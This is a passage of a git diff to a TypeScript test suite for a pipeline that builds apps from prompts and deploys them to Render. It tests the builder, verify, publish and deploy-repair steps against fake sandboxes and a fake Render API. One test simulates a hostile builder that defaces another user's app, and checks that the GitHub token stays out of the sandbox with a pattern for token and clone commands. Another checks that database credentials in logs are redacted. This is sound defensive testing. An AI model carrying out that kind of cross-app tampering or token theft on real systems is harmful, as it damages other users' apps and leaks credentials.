    Walnut chairs, oak tables, and ash stools, made by hand in Portland.

    ".repeat(5)}`; - -const LIVE: DeployOutcome = { - deployId: "dep-2", - status: "live", - result: "live", -}; -const FAILED: DeployOutcome = { - deployId: "dep-1", - status: "pre_deploy_failed", - result: "failed", -}; +const siteOnly: Manifest = { services: [storefront] }; -const manifest: Manifest = { +const fullstack: Manifest = { services: [ { - name: "web", - kind: "static_site", - rootDir: "web", - runtime: "static", - buildCommand: "npm ci && npm run build", - staticPublishPath: "dist", + ...storefront, envVars: [ { key: "VITE_API_HOST", @@ -247,111 +160,109 @@ const manifest: Manifest = { }, ], }, + api, + ], + databases: [{ name: "db" }], +}; + +/** A storefront that bundles the private-network host of the API. */ +const privateHost: Manifest = { + services: [ { - name: "api", - kind: "web_service", - rootDir: "api", - runtime: "node", - buildCommand: "npm ci && npm run build", - startCommand: "npm start", - preDeployCommand: "npm run migrate", - healthCheckPath: "/health", - dataCheckPath: "/api/items", + ...storefront, envVars: [ - { key: "DATABASE_URL", fromDatabase: { property: "connectionString" } }, + { + key: "VITE_API_HOST", + fromService: { name: "api", property: "host" }, + }, ], }, ], - databases: [{ name: "db" }], }; +/** The shop app as its first push published it. */ const spec: AppSpec = { user: "demo", appName: "shop", - prompt: "Sell handmade walnut furniture online", + prompt: INPUT.prompt, summary: "A storefront, an API, and Postgres behind it.", createdAt: "2026-01-01T00:00:00.000Z", - // Not the default prefix. If a repair makes a new spec instead of a copy, - // every resource name changes and these tests fail. + // Not the default prefix, so a repair that rebuilt the spec instead of + // copying it would rename every resource. resourcePrefix: "acme", - manifest, + manifest: fullstack, }; +const cafe: AppSpec = { ...spec, appName: "cafe", prompt: "A menu for a cafe" }; +const CAFE_SPEC = `${appPath("demo", "cafe")}/factory.json`; +const WEB_ID = "srv-acme-demo-shop-web"; +const API_ID = "srv-acme-demo-shop-api"; -/** A repair that changes only how the API deploys: no source file changes. */ -const repair = withApi({ - preDeployCommand: "npm run db:migrate", - dataCheckPath: "/api/products", -}); - -function withApi(changes: Partial): Manifest { +function plan(...kinds: string[]) { return { - ...manifest, - services: manifest.services.map((service) => - service.name === "api" ? { ...service, ...changes } : service, - ), + appName: "shop", + summary: "A storefront for handmade walnut furniture.", + tiers: kinds.map((kind) => ({ kind, reason: "The product needs it." })), + assetQueries: [], + brief: { + pages: ["Home"], + features: [], + voice: "Warm and plain", + content: "Walnut chairs, oak tables, and ash stools.", + }, }; } -function builderReturns(repaired: Manifest): void { - mocks.buildTask.mockResolvedValue({ - summary: "Fixed the migration.", - manifest: repaired, - }); +function json(value: unknown): string { + return `${JSON.stringify(value, null, 2)}\n`; } -/** The API service in a Blueprint, after a YAML parse. */ -function apiBlock(blueprint: string | undefined) { - const services = parse(blueprint ?? "").projects[0].environments[0].services; - return services.find( - (service: { name: string }) => service.name === "acme-demo-shop-api", - ); +/* ── Harness ──────────────────────────────────────────────────────────── */ + +/** The name of each subtask that ran, and its input, in order. */ +let ran: { name: string; input: unknown }[]; + +/** + * Runs each subtask in this process with the body of its task. As on + * Render, the input and the result go through JSON. + */ +const tasks: TaskContext = { + run: async (task, ...args) => { + ran.push({ name: task.name, input: args[0] }); + return wire(await task.func(tasks, ...wire(args))); + }, +}; + +function wire(value: T): T { + return value === undefined ? value : JSON.parse(JSON.stringify(value)); +} + +function subtasks(): string[] { + return ran.map(({ name }) => name); } -/** The in-memory file system of each fake sandbox. */ +/** Overrides the answer of a fake sandbox to one command. */ +type Answer = (command: string) => ExecResult | undefined; + const filesystems = new WeakMap>(); -/** Specs as `find` in readAllSpecs() lists them: apps///factory.json. */ +/** Specs as readAllSpecs() finds them: apps///factory.json. */ const SPEC_PATH = new RegExp( `^${factoryConfig.repoDir}/${factoryConfig.appsDir}/[^/]+/[^/]+/factory\\.json$`, ); /** - * A sandbox with an in-memory file system. It answers the commands of - * verify(), of the root Blueprint regeneration, and of removeApp(). Other - * commands succeed. + * A sandbox with an in-memory file system. It answers the commands the + * pipelines run on files, git, the template script, and the boots and + * probes of verify-app, as a healthy app would. Other commands succeed. */ -function fakeSandbox(files: Map, id = "sbx-clone") { - const run = vi.fn(async (command: string): Promise => { - const cat = command.match(/^cat '([^']+)'$/); - if (cat) { - const contents = - files.get(cat[1]) ?? - (cat[1].endsWith("/index.html") ? STOREFRONT_HTML : undefined); - return contents === undefined - ? { output: "", exitCode: 1 } - : { output: contents, exitCode: 0 }; - } - const exists = command.match(/^test -e '([^']+)'$/); - if (exists) { - return { output: "", exitCode: files.has(exists[1]) ? 0 : 1 }; - } - const remove = command.match(/^rm -rf '([^']+)'$/); - if (remove) { - for (const path of [...files.keys()]) { - if (path.startsWith(`${remove[1]}/`)) files.delete(path); - } - return { output: "", exitCode: 0 }; - } - if (command.startsWith("find ")) { - const specs = [...files.keys()].filter((path) => SPEC_PATH.test(path)); - return { output: specs.join("\n"), exitCode: 0 }; - } - if (command.startsWith("ls -A ")) { - return { output: "api\nweb\n", exitCode: 0 }; - } - return { output: "", exitCode: 0 }; - }); - +function fakeSandbox( + id: string, + files: Map, + answer: Answer = () => undefined, +): Sandbox { + const run = vi.fn( + async (command: string) => answer(command) ?? execute(files, command), + ); const sandbox = { id, run, @@ -361,18 +272,88 @@ function fakeSandbox(files: Map, id = "sbx-clone") { return result.output; }, async readFile(path: string): Promise { - const result = await run(`cat '${path}'`); - if (result.exitCode !== 0) throw new Error(`Read ${path} failed`); - return result.output; + return sandbox.mustRun(`cat '${path}'`, `Read ${path}`); }, - writeFile: vi.fn(async (path: string, contents: string) => { + async writeFile(path: string, contents: string): Promise { files.set(path, contents); - }), + }, + async upload(path: string, data: unknown): Promise { + files.set(path, String(data)); + }, terminate: vi.fn(async () => {}), - } as unknown as Sandbox; - filesystems.set(sandbox, files); + }; + filesystems.set(sandbox as unknown as Sandbox, files); + return sandbox as unknown as Sandbox; +} - return { sandbox, run }; +function execute(files: Map, command: string): ExecResult { + const ok = (output = ""): ExecResult => ({ output, exitCode: 0 }); + const failed: ExecResult = { output: "", exitCode: 1 }; + const below = (dir: string) => + [...files.keys()].filter((path) => path.startsWith(`${dir}/`)); + + const cat = command.match(/^cat '([^']+)'$/); + if (cat) { + // A build writes the index.html of a static site. + const contents = + files.get(cat[1]) ?? + (cat[1].endsWith("/index.html") ? STOREFRONT_HTML : undefined); + return contents === undefined ? failed : ok(contents); + } + const exists = command.match(/^test -e '([^']+)'$/); + if (exists) return files.has(exists[1]) ? ok() : failed; + const needs = command.match(/^cd '([^']+)' && test -f (\S+)$/); + if (needs) return files.has(`${needs[1]}/${needs[2]}`) ? ok() : failed; + const remove = command.match(/^rm -rf '([^']+)'$/); + if (remove) { + for (const path of below(remove[1])) files.delete(path); + return ok(); + } + const list = command.match(/^ls -A '([^']+)'$/); + if (list) return ok(below(list[1]).length > 0 ? "web\n" : ""); + if (command.startsWith("find ")) { + return ok( + [...files.keys()].filter((path) => SPEC_PATH.test(path)).join("\n"), + ); + } + // The template arrives as one script of quoted heredocs. + const script = command.match(/^sh '([^']+)'$/); + if (script) { + const text = files.get(script[1]) ?? ""; + const dir = text.match(/^cd '([^']+)'$/m)?.[1]; + for (const file of text.matchAll( + /^cat > '([^']+)' <<'FACTORY_TEMPLATE_EOF'\n([\s\S]*?)\nFACTORY_TEMPLATE_EOF$/gm, + )) { + files.set(`${dir}/${file[1]}`, file[2]); + } + return ok(); + } + const clean = command.match(/-C '([^']+)' clean -fdXq/); + if (clean) { + const rules = (files.get(`${clean[1]}/.gitignore`) ?? "") + .split("\n") + .filter((rule) => rule !== "" && !rule.startsWith("#")); + for (const path of below(clean[1])) { + const relative = path.slice(clean[1].length + 1); + const ignored = rules.some((rule) => + rule.startsWith("/") + ? relative.startsWith(rule.slice(1)) + : `/${relative}`.includes(`/${rule}`), + ); + if (ignored) files.delete(path); + } + return ok(); + } + // As for a first commit: the commit changes every file of the clone. + if (command.includes(" diff-tree ")) { + return ok( + below(factoryConfig.repoDir) + .map((path) => `${path.slice(factoryConfig.repoDir.length + 1)}\0`) + .join(""), + ); + } + if (command.includes("%{http_code}")) return ok('200\n[{"id":1}]'); + return ok(); } function filesystem(sandbox: Sandbox): Map { @@ -381,1003 +362,685 @@ function filesystem(sandbox: Sandbox): Map { return files; } -/** The apps repository, as the sandbox of each push clones it. */ -let files: Map; -let fake: ReturnType; -/** The sandbox of the run: the agents and verify-app work in it. */ +/** The apps repository, as each push clones it. */ +let repo: Map; +let cloneSandbox: Sandbox; +/** The files of each pushed commit, in order. */ +let pushes: Map[]; +/** The run's sandbox: the agents and verify-app work in it. */ let buildFiles: Map; -let build: ReturnType; -/** The checkout at each commit, which is what the push sends to Render. */ -let commits: Map[]; - -// verify-app and publish-app connect to the sandbox of their parent by its id. -mocks.connectSandbox.mockImplementation((sandboxId: string) => { - expect(sandboxId).toBe(build.sandbox.id); - return build.sandbox; -}); +let runSandbox: Sandbox; -// The files below the app directory of one fake sandbox go into the app -// directory of another. -mocks.readAppFiles.mockImplementation( - async (sandbox: Sandbox, appDir: string) => ({ - files: [...filesystem(sandbox)] - .filter(([path]) => path.startsWith(`${appDir}/`)) - .map(([path, contents]) => ({ - path: path.slice(appDir.length + 1), - data: Buffer.from(contents), - executable: false, - })), - }), -); -mocks.writeAppFiles.mockImplementation( - async (sandbox: Sandbox, appDir: string, copied: AppFile[]) => { - const target = filesystem(sandbox); - for (const path of [...target.keys()]) { - if (path.startsWith(`${appDir}/`)) target.delete(path); - } - for (const { path, data } of copied) { - target.set(`${appDir}/${path}`, data.toString()); - } - }, -); +function useRepo(entries: [string, string][]): void { + repo = new Map(entries); + cloneSandbox = fakeSandbox("sbx-clone", repo); + mocks.createSandbox.mockResolvedValue(cloneSandbox); +} -/** The sandbox of the run, with the files of the builder. */ -function newBuild(entries: [string, string][] = []): void { +function useRunSandbox(entries: [string, string][] = [], answer?: Answer) { buildFiles = new Map(entries); - build = fakeSandbox(buildFiles, "sbx-build"); + runSandbox = fakeSandbox("sbx-build", buildFiles, answer); } -function deploy(context = tasks) { - return awaitDeployment({ - tasks: context, - sandbox: build.sandbox, - workspaceId: "tea-test", - repoUrl: "https://github.com/acme/apps", - spec, - appDir: APP_DIR, - runId: "run-1", - summary: "Handmade walnut furniture, sold online.", - databaseUrl: null, - }); +/** The builder writes the app into the run's sandbox and describes it. */ +async function builderOutput(manifest: Manifest) { + buildFiles.set(APP_SOURCE, STOREFRONT_HTML); + return { summary: "A storefront for handmade walnut furniture.", manifest }; } -/** - * The deploy-repair loop. Render deploys from the root Blueprint, and the root - * Blueprint comes from the factory.json of each app. A repair once passed - * verification with a new manifest, but the commit kept the old factory.json. - * Render then used the old commands, and the smoke checks used the old paths. - */ -describe("awaitDeployment repairs", () => { +function builderReturns(manifest: Manifest): void { + mocks.buildTask.mockImplementation(() => builderOutput(manifest)); +} + +interface Deploy { + id: string; + status: string; +} +/** Render's deploys of each service, oldest first. */ +let deploys: Map; +/** The deploy Render creates for a service while a wait ignores its newest. */ +let nextDeploys: Map; +/** The deploy that each service's last wait ended with. */ +let resultDeploys: Map; + +/** waitForDeploy() over the fake deploy history, honoring `after`. */ +async function waitForFakeDeploy( + serviceId: string, + { after }: { after: string | null }, +): Promise { + const history = deploys.get(serviceId) ?? [ + { id: `${serviceId}-live`, status: "live" }, + ]; + deploys.set(serviceId, history); + let newest = history[history.length - 1]; + if (newest.id === after) { + const next = nextDeploys.get(serviceId); + if (!next) { + return { + deployId: newest.id, + status: newest.status, + result: "not_started", + }; + } + nextDeploys.delete(serviceId); + history.push(next); + newest = next; + } + resultDeploys.set(serviceId, newest.id); + return { + deployId: newest.id, + status: newest.status, + result: newest.status === "live" ? "live" : "failed", + }; +} + +const BLUEPRINT = { + id: "exs-test", + name: "factory", + status: "synced", + autoSync: true, + repo: "https://github.com/acme/apps", + branch: "main", + path: "render.yaml", +}; + +beforeEach(() => { + vi.resetAllMocks(); + vi.spyOn(console, "log").mockImplementation(() => {}); + vi.spyOn(console, "warn").mockImplementation(() => {}); + vi.spyOn(console, "error").mockImplementation(() => {}); + vi.stubEnv("APPS_REPO", "acme/apps"); + vi.stubEnv("RENDER_WORKSPACE_ID", "tea-test"); + + ran = []; + pushes = []; + deploys = new Map(); + nextDeploys = new Map(); + resultDeploys = new Map(); + useRepo([]); + useRunSandbox(); + + mocks.connectSandbox.mockImplementation(() => runSandbox); + mocks.readAppFiles.mockImplementation( + async (sandbox: Sandbox, appDir: string) => ({ + files: [...filesystem(sandbox)] + .filter(([path]) => path.startsWith(`${appDir}/`)) + .map(([path, contents]) => ({ + path: path.slice(appDir.length + 1), + data: Buffer.from(contents), + executable: false, + })), + }), + ); + mocks.writeAppFiles.mockImplementation( + async (sandbox: Sandbox, appDir: string, copied: AppFile[]) => { + const target = filesystem(sandbox); + for (const path of [...target.keys()]) { + if (path.startsWith(`${appDir}/`)) target.delete(path); + } + for (const { path, data } of copied) { + target.set(`${appDir}/${path}`, data.toString()); + } + }, + ); + + // As git does: no commit when nothing changed since the last one. + let head = new Map(); + mocks.commitPaths.mockImplementation(async () => { + if ( + head.size === repo.size && + [...repo].every(([path, contents]) => head.get(path) === contents) + ) { + return null; + } + head = new Map(repo); + return SHA; + }); + mocks.pushVerified.mockImplementation(async () => { + pushes.push(new Map(repo)); + return SHA; + }); + mocks.githubToken.mockResolvedValue("ghs_test"); + mocks.cloneAppsRepo.mockResolvedValue("https://github.com/acme/apps.git"); + + mocks.findBlueprint.mockResolvedValue(BLUEPRINT); + mocks.waitForServices.mockImplementation( + async (_workspaceId: string, names: string[]) => + new Map( + names.map((name) => [ + name, + { id: `srv-${name}`, name, url: `https://${name}.onrender.com` }, + ]), + ), + ); + mocks.waitForDeploy.mockImplementation(waitForFakeDeploy); + mocks.fetchDeployLogs.mockResolvedValue( + 'npm error Missing script: "migrate"', + ); + mocks.waitForHttpOk.mockResolvedValue({ + ok: true, + status: 200, + body: '[{"id":1}]', + headers: new Headers({ "access-control-allow-origin": "*" }), + }); + mocks.pageContains.mockResolvedValue(true); +}); + +afterEach(() => { + vi.restoreAllMocks(); + vi.unstubAllEnvs(); +}); + +/* ── prompt-to-app ────────────────────────────────────────────────────── */ + +describe("promptToApp", () => { beforeEach(() => { - vi.clearAllMocks(); - process.env.APPS_REPO = "acme/apps"; - - // What run() published before the first deploy. - files = new Map([[APP_SPEC, `${JSON.stringify(spec, null, 2)}\n`]]); - fake = fakeSandbox(files); - // Each publish clones the apps repository in a sandbox of its own. - mocks.createSandbox.mockResolvedValue(fake.sandbox); - newBuild([[`${APP_DIR}/web/index.html`, STOREFRONT_HTML]]); - commits = []; - - mocks.githubToken.mockResolvedValue("token"); - mocks.cloneAppsRepo.mockResolvedValue("https://github.com/acme/apps.git"); - // verify-app and publish-app log a JSON event. - vi.spyOn(console, "log").mockImplementation(() => {}); - mocks.findBlueprint.mockResolvedValue({ - id: "exs-test", - name: "factory", - status: "synced", - autoSync: true, - repo: "https://github.com/acme/apps", - branch: "main", - path: "render.yaml", + mocks.architectTask.mockResolvedValue(plan("static_site")); + builderReturns(siteOnly); + // The run's sandbox first, then one for each push. + mocks.createSandbox.mockResolvedValueOnce(runSandbox); + }); + + it("turns a static-site prompt into a deployed app with its URL, and terminates the sandbox", async () => { + const result = await promptToApp.func(tasks, INPUT); + + expect(result).toMatchObject({ + status: "deployed", + webUrl: expect.stringMatching(/demo-shop-web\.onrender\.com$/), }); - mocks.waitForServices.mockImplementation( - async (_workspaceId: string, names: string[]) => - new Map( - names.map((name) => [ - name, - { id: `srv-${name}`, name, url: `https://${name}.onrender.com` }, - ]), - ), + expect(mocks.finishRun).toHaveBeenCalledWith( + "run-1", + "deployed", + expect.anything(), + ); + expect(subtasks()).toEqual([ + "architect", + "builder", + "verify-app", + "publish-app", + ]); + expect(pushes).toHaveLength(1); + expect(pushes[0].get(APP_SOURCE)).toBe(STOREFRONT_HTML); + expect(JSON.parse(pushes[0].get(APP_SPEC) ?? "").manifest).toEqual( + siteOnly, ); + expect(runSandbox.terminate).toHaveBeenCalled(); + }); - // The API fails its first deploy. After that, every deploy is live. - const apiDeploys = [FAILED]; - mocks.waitForDeploy.mockImplementation( - async (serviceId: string) => - serviceId === "srv-acme-demo-shop-api" - ? (apiDeploys.shift() ?? LIVE) - : LIVE, + it("starts a plan with a web service from the fullstack template and a sandbox Postgres", async () => { + mocks.architectTask.mockResolvedValue( + plan("static_site", "web_service", "postgres"), ); - mocks.fetchDeployLogs.mockResolvedValue(""); - mocks.deployManagerTask.mockResolvedValue({ - allHealthy: false, - failures: [ - { - serviceName: "acme-demo-shop-api", - status: "pre_deploy_failed", - diagnosis: 'npm error Missing script: "migrate"', - }, - ], - }); - mocks.waitForHttpOk.mockResolvedValue({ - ok: true, - status: 200, - body: '[{"id":1}]', - headers: new Headers({ "access-control-allow-origin": "*" }), + let startedWith: string[] = []; + mocks.buildTask.mockImplementation(() => { + startedWith = [...buildFiles.keys()]; + return builderOutput(fullstack); }); - mocks.pageContains.mockResolvedValue(true); - mocks.commitPaths.mockImplementation(async () => { - commits.push(new Map(files)); - return "b".repeat(40); - }); - mocks.pushVerified.mockResolvedValue("b".repeat(40)); - }); + const result = await promptToApp.func(tasks, INPUT); - afterEach(() => { - vi.restoreAllMocks(); + expect(result).toMatchObject({ + status: "deployed", + apiUrl: expect.stringMatching(/demo-shop-api\.onrender\.com$/), + }); + expect(startedWith).toEqual( + expect.arrayContaining([ + `${APP_DIR}/api/package.json`, + `${APP_DIR}/web/package.json`, + ]), + ); + const verified = ran.find(({ name }) => name === "verify-app"); + expect(verified?.input).toMatchObject({ + databaseUrl: expect.stringMatching(/^postgres/), + }); }); - // On Render, each subtask has its own run, with its own logs. - it("verifies and publishes the repair in subtasks", async () => { - builderReturns(repair); - const { context, runs } = recordSubtasks(); + it("sends a verification failure back to the builder and deploys the fixed build", async () => { + mocks.buildTask.mockImplementationOnce(() => builderOutput(privateHost)); - await deploy(context); + const result = await promptToApp.func(tasks, INPUT); - expect(runs.map(({ name }) => name)).toEqual([ - "deploy-manager", + expect(result.status, result.summary).toBe("deployed"); + expect(subtasks()).toEqual([ + "architect", + "builder", + "verify-app", "builder", "verify-app", "publish-app", ]); - expect(runs[3].input).toMatchObject({ - sandboxId: build.sandbox.id, - message: "Fix Render deploy for demo/shop (round 1)", - }); - expect(logged("log")).toEqual([ - { event: "app_verified", user: "demo", appName: "shop" }, - { - event: "app_published", - user: "demo", - appName: "shop", - commit: "b".repeat(40), - }, - ]); + expect(mocks.buildTask.mock.calls[1][1].message).toMatch(/private network/); + expect(pushes).toHaveLength(1); + expect(JSON.parse(pushes[0].get(APP_SPEC) ?? "").manifest).toEqual( + siteOnly, + ); }); - // The Render Dashboard shows each task input, and logs can hold secrets. A - // cut before the redaction would keep the end of the connection string. - it("gives the deploy manager the last lines of the logs, without secrets", async () => { - builderReturns(repair); - mocks.fetchDeployLogs.mockResolvedValue( - [ - ...Array.from( - { length: 1_000 }, - () => "npm warn deprecated glob@7.2.3", - ), - `DATABASE_URL=postgres://shop:${"x".repeat(50_000)}@dpg-shop-a/shop`, - 'npm error Missing script: "migrate"', - ].join("\n"), - ); - const { context, runs } = recordSubtasks(); + it("ends as build_failed, with nothing pushed, when verification still fails after the last fix round", async () => { + builderReturns(privateHost); - await deploy(context); + const result = await promptToApp.func(tasks, INPUT); - const { message } = runs[0].input as { message: string }; - expect(message).toContain( - 'DATABASE_URL=[REDACTED]\nnpm error Missing script: "migrate"', - ); - expect(message).not.toContain("dpg-shop-a"); - expect(message.length).toBeLessThan(10_000); + expect(result.status).toBe("build_failed"); + expect(result.summary).toMatch(/private network/); + expect(subtasks()).toEqual([ + "architect", + "builder", + "verify-app", + "builder", + "verify-app", + "builder", + "verify-app", + ]); + expect(pushes).toEqual([]); + expect(runSandbox.terminate).toHaveBeenCalled(); }); - it("pushes nothing when the repair fails verification", async () => { - builderReturns({ - ...manifest, - services: manifest.services.map((service) => - service.name === "web" - ? { - ...service, - envVars: [ - { - key: "VITE_API_HOST", - fromService: { name: "api", property: "host" }, - }, - ], - } - : service, - ), - }); - - const result = await deploy(); + it("fails the run, with no sandbox and no push, when the architect's output fails the schema twice", async () => { + mocks.architectTask.mockResolvedValue({ appName: "Not A Slug" }); - expect(result.status).toBe("deploy_failed"); - expect(result.summary).toContain( - "Deploy repair round 1 failed local verification: web: envVar VITE_API_HOST uses fromService property host.", + await expect(promptToApp.func(tasks, INPUT)).rejects.toThrow( + /invalid structured output twice/, ); - expect(mocks.commitPaths).not.toHaveBeenCalled(); - expect(mocks.pushVerified).not.toHaveBeenCalled(); + + expect(mocks.finishRun).toHaveBeenCalledWith("run-1", "failed", { + summary: expect.stringMatching(/^architect returned invalid/), + }); + expect(mocks.createSandbox).not.toHaveBeenCalled(); + expect(pushes).toEqual([]); }); - it("commits the repaired manifest in factory.json and both Blueprints", async () => { - builderReturns(repair); + it("fails the run before any build or push when the app is being deleted or built by another run", async () => { + const refusals = [ + ["deleting", /demo\/shop is being deleted/], + ["running", /different run is building demo\/shop/], + ] as const; + for (const [reason, summary] of refusals) { + mocks.claimRunApp.mockResolvedValueOnce({ claimed: false, reason }); - const result = await deploy(); + const result = await promptToApp.func(tasks, INPUT); - expect(result.status, result.summary).toBe("deployed"); - expect(commits).toHaveLength(1); - const [commit] = commits; - expect(JSON.parse(commit.get(APP_SPEC) ?? "")).toEqual({ - ...spec, - manifest: repair, - }); - for (const blueprint of [APP_BLUEPRINT, ROOT_BLUEPRINT]) { - expect(apiBlock(commit.get(blueprint))).toMatchObject({ - preDeployCommand: "npm run db:migrate", - }); + expect(result.status).toBe("failed"); + expect(result.summary).toMatch(summary); } - // The files of the repaired app come from the sandbox of the run. - expect(commit.get(`${APP_DIR}/web/index.html`)).toBe(STOREFRONT_HTML); - expect(mocks.readAppFiles).toHaveBeenLastCalledWith(build.sandbox, APP_DIR); + expect(mocks.createSandbox).not.toHaveBeenCalled(); + expect(mocks.buildTask).not.toHaveBeenCalled(); + expect(pushes).toEqual([]); }); - it("smoke-tests the paths of the repaired manifest", async () => { - builderReturns(repair); + it("ends as awaiting_blueprint after the push when no Blueprint watches the apps repository", async () => { + mocks.findBlueprint.mockResolvedValue(null); - await deploy(); + const result = await promptToApp.func(tasks, INPUT); - const urls = mocks.waitForHttpOk.mock.calls.map(([url]) => url); - expect(urls).toContain(`${API_URL}/api/products`); - expect(urls).not.toContain(`${API_URL}/api/items`); + expect(result.status).toBe("awaiting_blueprint"); + expect(result.summary).toMatch(/no Blueprint .* is watching/); + expect(pushes).toHaveLength(1); + expect(mocks.waitForServices).not.toHaveBeenCalled(); }); - // A concurrent push makes the rebase regenerate the root Blueprint from - // each factory.json, so the rewritten one must be what it reads. - // When another run pushes first, the clone takes the new tip, and the - // change of the repair runs again on it. - it("makes the repair again on the new tip", async () => { - builderReturns(repair); - await deploy(); - - const redo = mocks.pushVerified.mock.calls[0][5]; - // The new tip, as the other run left it: its own app, and a root - // Blueprint without the repair. - files.set(CAFE_SPEC, json(cafe)); - files.set(ROOT_BLUEPRINT, rootBlueprint([cafe])); - await expect(redo()).resolves.toBe("b".repeat(40)); - - const services = parse(files.get(ROOT_BLUEPRINT) ?? "").projects.flatMap( - (project: { environments: { services: { name: string }[] }[] }) => - project.environments[0].services, + // The builder can run any command in the run's sandbox and leave a + // process there, so no credential and no clone may ever enter it. + it("keeps the GitHub token out of the run's sandbox and pushes only the app's directory and the root Blueprint from a separate clone", async () => { + const token = "ghs_push_token"; + mocks.githubToken.mockResolvedValue(token); + const victimDir = appPath("victim", "site"); + useRepo([ + [ + `${victimDir}/factory.json`, + json({ ...spec, user: "victim", appName: "site" }), + ], + [`${victimDir}/index.html`, STOREFRONT_HTML], + ]); + const before = new Map(repo); + mocks.buildTask.mockImplementation(() => { + buildFiles.set(APP_SPEC, json({ ...spec, appName: "evil" })); + buildFiles.set(`${victimDir}/index.html`, "defaced"); + return builderOutput(siteOnly); + }); + + await promptToApp.func(tasks, INPUT); + + const commands = vi.mocked(runSandbox.run).mock.calls.join("\n"); + expect(commands).not.toMatch(/ghs_|clone|remote/); + expect(JSON.stringify([...buildFiles])).not.toContain(token); + expect(JSON.stringify(ran)).not.toContain(token); + expect(mocks.cloneAppsRepo.mock.calls.map(([sandbox]) => sandbox)).toEqual([ + cloneSandbox, + ]); + expect(mocks.pushVerified).toHaveBeenCalledWith( + cloneSandbox, + token, + expect.any(String), + factoryConfig.branch, + ["apps/demo/shop", factoryConfig.blueprintPath], + expect.any(Function), + ); + + const [commit] = pushes; + const changed = [...commit.keys()].filter( + (path) => commit.get(path) !== before.get(path), ); expect( - services.find( - (service: { name: string }) => service.name === "acme-demo-shop-api", + changed.filter( + (path) => path !== ROOT_BLUEPRINT && !path.startsWith(`${APP_DIR}/`), ), - ).toMatchObject({ preDeployCommand: "npm run db:migrate" }); - expect(services.map((service: { name: string }) => service.name)).toContain( - "acme-demo-cafe-web", - ); + ).toEqual([]); + expect(commit.get(`${victimDir}/index.html`)).toBe(STOREFRONT_HTML); + expect(JSON.parse(commit.get(APP_SPEC) ?? "")).toMatchObject({ + user: "demo", + appName: "shop", + manifest: siteOnly, + }); + expect(commit.get(ROOT_BLUEPRINT)).not.toMatch(/demo-evil/); }); +}); - it.each<{ change: string; repaired: Manifest; message: string }>([ - { - change: "adds a service", - repaired: { - ...manifest, - services: [ - ...manifest.services, - { - name: "search", - kind: "web_service", - rootDir: "search", - runtime: "node", - buildCommand: "npm ci", - startCommand: "npm start", - }, - ], - }, - message: "The repair adds acme-demo-shop-search (node).", - }, - { - change: "removes the database", - repaired: { services: manifest.services }, - message: "The repair removes acme-demo-shop-db (postgres).", - }, - // The name stays the same, but Render cannot change the runtime. - { - change: "changes the kind of a service", - repaired: withApi({ kind: "static_site", staticPublishPath: "dist" }), - message: - "The repair adds acme-demo-shop-api (static) and removes acme-demo-shop-api (node).", - }, - ])( - "pushes nothing when the repair $change", - async ({ repaired, message }) => { - builderReturns(repaired); - - const result = await deploy(); - - expect(result.status).toBe("deploy_failed"); - expect(result.summary).toContain(message); - expect(mocks.commitPaths).not.toHaveBeenCalled(); - expect(mocks.pushVerified).not.toHaveBeenCalled(); - expect(JSON.parse(files.get(APP_SPEC) ?? "").manifest).toEqual(manifest); - }, - ); +/* ── The deploy stage ─────────────────────────────────────────────────── */ - /** - * Right after a repair push, the newest deploy of the failed service is - * still the failed deploy: Render creates the new deploy only after the - * GitHub webhook and the Blueprint sync. The loop once took that failed - * deploy as the result of the repair. It then repaired again, and at the - * end it reported a status from before the repair. - * - * These tests use the real waitForDeploy(). A fake Render API gives the - * result of each poll of the deploys of a service. - */ - describe("after a repair push", () => { - const WEB_ID = "srv-acme-demo-shop-web"; - const API_ID = "srv-acme-demo-shop-api"; - const LIVE_WEB = { id: "dep-web1", status: "live" }; - const FAILED_API = { id: "dep-api1", status: "pre_deploy_failed" }; - - beforeEach(async () => { - const render = - await vi.importActual( - "../app/render.js", - ); - mocks.waitForDeploy.mockImplementation(render.waitForDeploy); - vi.useFakeTimers(); - vi.stubEnv("RENDER_API_KEY", "rnd_test"); - vi.spyOn(console, "warn").mockImplementation(() => {}); - }); +describe("awaitDeployment", () => { + /** A repair that changes only how the API migrates. */ + const repair: Manifest = { + ...fullstack, + services: [ + fullstack.services[0], + { ...api, preDeployCommand: "npm run db:migrate" }, + ], + }; - afterEach(() => { - vi.useRealTimers(); - vi.unstubAllGlobals(); - vi.unstubAllEnvs(); - vi.mocked(console.warn).mockRestore(); + /** The deploy stage after the first push of the shop app. */ + function deploy( + push: Partial< + Pick + > = {}, + ) { + return awaitDeployment({ + tasks, + sandbox: runSandbox, + workspaceId: "tea-test", + repoUrl: "https://github.com/acme/apps", + spec, + appDir: APP_DIR, + runId: "run-1", + summary: "Handmade walnut furniture, sold online.", + databaseUrl: null, + deploysBefore: new Map(), + changedServices: ["web", "api"], + ...push, }); + } - /** - * Each poll of the deploys of a service gets the next deploy in its - * script, or the next error status. After the last one, each poll gets - * the last one again. Returns the number of polls of each service. - */ - function fakeRender( - scripts: Record, - ): Map { - const polls = new Map(); - vi.stubGlobal( - "fetch", - vi.fn(async (url: string | URL | Request) => { - const path = new URL(String(url)).pathname; - const serviceId = path.match(/^\/v1\/services\/([^/]+)\/deploys$/)?.[1]; - const script = serviceId ? scripts[serviceId] : undefined; - if (!serviceId || !script) { - throw new Error(`Unexpected request to ${url}`); - } - const poll = polls.get(serviceId) ?? 0; - polls.set(serviceId, poll + 1); - const result = script[Math.min(poll, script.length - 1)]; - return typeof result === "number" - ? new Response("", { status: result }) - : Response.json([{ deploy: result, cursor: "c" }]); - }), - ); - return polls; - } + /** The API's first deploy fails its pre-deploy command. */ + function apiDeployFails(): void { + deploys.set(API_ID, [{ id: "dep-api1", status: "pre_deploy_failed" }]); + } - /** Deploy, and run the sleeps between the polls at once. */ - async function deployOn() { - const [result] = await Promise.all([deploy(), vi.runAllTimersAsync()]); - return result; - } - - /** The deploy status that the deploy manager got in each round. */ - function diagnosedStatuses(): string[] { - return mocks.deployManagerTask.mock.calls.map( - ([, input]) => input.message.match(/deploy status "([^"]+)"/)?.[1], - ); - } - - it("waits past the failed deploy that is still the newest", async () => { - builderReturns(repair); - const polls = fakeRender({ - [WEB_ID]: [LIVE_WEB], - [API_ID]: [ - FAILED_API, - // The first poll after the push. Render has not created the - // deploy of the repair yet. - FAILED_API, - { id: "dep-api2", status: "build_in_progress" }, - { id: "dep-api2", status: "live" }, - ], - }); - - const result = await deployOn(); - - expect(result.status, result.summary).toBe("deployed"); - expect(mocks.buildTask).toHaveBeenCalledTimes(1); - expect(mocks.pushVerified).toHaveBeenCalledTimes(1); - expect(polls.get(API_ID)).toBe(4); - // The storefront was live, and the repair did not change it. - 